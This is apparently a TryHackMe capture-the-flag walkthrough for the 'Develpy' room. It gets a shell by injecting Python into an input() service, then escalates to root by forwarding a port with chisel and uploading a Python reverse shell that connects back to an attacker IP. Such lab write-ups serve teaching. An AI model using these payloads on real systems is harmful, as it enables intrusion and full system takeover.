Develpy
Enumeration
Link: https://tryhackme.com/room/bsidesgtdevelpy
Author: https://tryhackme.com/p/stuxnet
Host: 10.10.36.158
Let’s start with a rustscan
again the machine (as always) to quickly enumerate
open ports.
┌──(root💀b0x)-[~/THM/Develpy]
└─# rustscan -a 10.10.36.158 --ulimit 5000 -b 4500 -- -sC -sV
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.36.158:22
Open 10.10.36.158:10000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 78:c4:40:84:f4:42:13:8e:79:f8:6b:e4:6d:bf:d4:46 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeAB1tAGCfeGkiBXodMGeCc6prI2xaWz/fNRhwusVEujBTQ1BdY3BqPHNf1JLGhqts1anfY9ydt0N1cdAEv3L16vH2cis+34jyek3d+TVp+oBLztNWY5Yfcv/3uRcy5yyZsKjMz+wyribpEFlbpvscrVYfI2Crtm5CgcaSwqDDt
c1doeABJ9t3iSv+7MKBdWJ9N3xd/oTfI0fEOdIp8M568A1/CJEQINFPVu1txC/HTiY4jmVkNf6+JyJfFqshRMpFq2YmUi6GulwzWQONmbTyxqrZg2y+y2q1AuFeritRg9vvkBInW0x18FS8KLdy5ohoXgeoWsznpR1J/BzkNfap
| 256 25:9d:f3:29:a2:62:4b:24:f2:83:36:cf:a7:75:bb:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDGGFFv4aQm/+j6R2Vsg96zpBowtu0/pkUxksqjTqKhAFtHla6LE0BRJtSYgmm8+ItlKHjJX8DNYylnNDG+Ol/U=
| 256 e7:a0:07:b0:b9:cb:74:e9:d6:16:7d:7a:67:fe:c1:1d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMbypBoQ33EbivAc05LqKzxLsJrTgXOrXG7qG/RoO30K
10000/tcp open snet-sensor-mgmt? syn-ack ttl 60
| fingerprint-strings:
| GenericLines:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 0
| SyntaxError: unexpected EOF while parsing
| GetRequest:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 1, in <module>
| NameError: name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 1, in <module>
| NameError: name 'OPTIONS' is not defined
| NULL:
| Private 0days
|_ Please enther number of exploits to send??:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port10000-TCP:V=7.91%I=7%D=4/23%Time=6082A08F%P=x86_64-pc-linux-gnu%r(N
SF:ULL,48,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\x2
SF:0Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20")%
SF:r(GetRequest,136,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\
SF:r\n\r\n\x20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?
SF:\?:\x20Traceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20File
SF:\x20\"\./exploit\.py\",\x20line\x206,\x20in\x20<module>\r\n\x20\x20\x20
SF:\x20num_exploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x2
SF:0of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"<strin
SF:g>\",\x20line\x201,\x20in\x20<module>\r\nNameError:\x20name\x20'GET'\x2
SF:0is\x20not\x20defined\r\n")%r(HTTPOptions,13A,"\r\n\x20\x20\x20\x20\x20
...
Interesting stuff, it seems there’s a service listening on port 10000/tcp
on the host which is running a python script
on its backend. Let’s check it out.
Port 10000 - Python Server
Let’s try connecting to it with nc
┌──(root💀b0x)-[~/THM/Develpy]
└─# nc 10.10.36.158 10000
Private 0days
Please enther number of exploits to send??: ls
Traceback (most recent call last):
File "./exploit.py", line 6, in <module>
num_exploits = int(input(' Please enther number of exploits to send??: '))
File "<string>", line 1, in <module>
NameError: name 'ls' is not defined
We can see that it’s calling input
function on the input recieved by the user. There’s an exploitation guide
out there on this, I’ll leave it to you to research that, I’ll still manually go through the exploitation phase
rather than copy/pasting the final one-liner
for command execution
.
Let’s try sending what it’s expecting, a number
!
┌──(root💀b0x)-[~/THM/Develpy]
└─# nc 10.10.36.158 10000
Private 0days
Please enther number of exploits to send??: 2
Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.074 ms
Exploiting tryhackme internal network: beacons_seq=2 ttl=1337 time=0.08 ms
Sending 2
, we can see that it’s pinging tryhackme.com host against the number two times (because of 2?). Let’s try passing 2+2
and see if it evaluates that (to 4)?
┌──(root💀b0x)-[~/THM/Develpy]
└─# nc 10.10.36.158 10000
Private 0days
Please enther number of exploits to send??: 2+2
Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.034 ms
Exploiting tryhackme internal network: beacons_seq=2 ttl=1337 time=0.088 ms
Exploiting tryhackme internal network: beacons_seq=3 ttl=1337 time=0.014 ms
Exploiting tryhackme internal network: beacons_seq=4 ttl=1337 time=0.019 ms
Awesome! 4
tries now! Maybe try something like printing something?
┌──(root💀b0x)-[~/THM/Develpy]
└─# nc 10.10.36.158 10000
Private 0days
Please enther number of exploits to send??: print(1)
Traceback (most recent call last):
File "./exploit.py", line 6, in <module>
num_exploits = int(input(' Please enther number of exploits to send??: '))
File "<string>", line 1
print(1)
^
SyntaxError: invalid syntax
Passing that, we get the above error^ Let’s try passing a string:
┌──(root💀b0x)-[~/THM/Develpy]
└─# nc 10.10.36.158 10000
Private 0days
Please enther number of exploits to send??: test
Traceback (most recent call last):
File "./exploit.py", line 6, in <module>
num_exploits = int(input(' Please enther number of exploits to send??: '))
File "<string>", line 1, in <module>
NameError: name 'test' is not defined
The error "NameError: name 'test' is not defined"
only occurs when some module or variable is being called! Let’s try and import
a module?
┌──(root💀b0x)-[~/THM/Develpy]
└─# nc 10.10.36.158 10000
Private 0days
Please enther number of exploits to send??: import os
Traceback (most recent call last):
File "./exploit.py", line 6, in <module>
num_exploits = int(input(' Please enther number of exploits to send??: '))
File "<string>", line 1
import os
^
SyntaxError: invalid syntax
Exploitation
Most probably spaces
are the issue here! Let’s try and import the module pty
without spaces and call its method spawn
to spawn
a /bin/bash
shell. We can find a guide here to do so.
__import__('pty').spawn("/bin/bash")
Let's send it to the `server`:
┌──(root💀b0x)-[~/THM/Develpy]
└─# nc 10.10.36.158 10000
Private 0days
Please enther number of exploits to send??: __import__('pty').spawn("/bin/bash")
king@ubuntu:~$ id
id
uid=1000(king) gid=1000(king) groups=1000(king),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
Awesome! We've gotten the `initial` shell as user **king**.
Privileges Escalation
Now, for privileges escalation, we can see 2 .sh
files in the user directory. Let’s go through their contents:
root.sh
king@ubuntu:~$ cat root.sh
python /root/company/media/*.py
run.sh
king@ubuntu:~$ cat run.sh
#!/bin/bash
kill cat /home/king/.pid
socat TCP-LISTEN:10000,reuseaddr,fork EXEC:./exploit.py,pty,stderr,echo=0 &
echo $! > /home/king/.pid
Alright, so root.sh is owned and only readable/writeable by root while we can read/write to run.sh which is no good since it is the server
which was calling the python service
we exploited to get the interactive shell
.
Enumerating more, we can see the cronjobs
in the machine:
king@ubuntu:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * king cd /home/king/ && bash run.sh
* * * * * root cd /home/king/ && bash root.sh
* * * * * root cd /root/company && bash run.sh
#
We can see that **run.sh is being run as king** while **root.sh in our directory and run.sh in root user’s company directory is being called by user root**. But how to access those? We don’t have read access to /root/ either!
Enumerating even more, we can see that there’s a port 8080/tcp
listening locally:
king@ubuntu:~$ netstat -plnt
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:10000 0.0.0.0:* LISTEN 756/socat
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Cool, we can forward this port to our host and access it using chisel
. Let’s do it!
I’ll leave the downloading and pushing of chisel
binary to you. We’ll need a local copy of chisel
on our host (attcker
) depending on our OS and a copy of chisel
compiled for x64 for the server (victim
).
Victim:
king@ubuntu:~$ ./chisel-umar0x01 server -p 47000
Attacker:
┌──(root💀b0x)-[/var/www/html]
└─# ./chisel-umar0x01 client 10.10.36.158:47000 2222:127.0.0.1:8080 130 ⨯
Awesome, let’s run and see if our connection establishes
.
Cool, the port is forwarded, let' try accessing it locally at 127.0.0.1:2222
We’ve a upload page here, remember the contents of root.sh file in our directory? It was calling *.py
files from **root user's media directory**
, maybe we can upload our .py
file here and get reverse shell
as root user
? Let’s try that!
I’ll first add the following in my local python file for reverse shell:
┌──(root💀b0x)-[~/THM/Develpy]
└─# cat > test.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.17.0.120",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
Let’s upload
the test.py file now to the server:
Let’s start the local listener
and wait for a minute:
Awesome! `We’re root! Thanks for reading the walkthrough. Hopefully you enjoyed it 🥂
Todos (Things learnt):
- Enumerate manually before running any noisy local enumeration tool
- Think outside the box
- Never hesitate to forward ports (thinking it’ll take time)!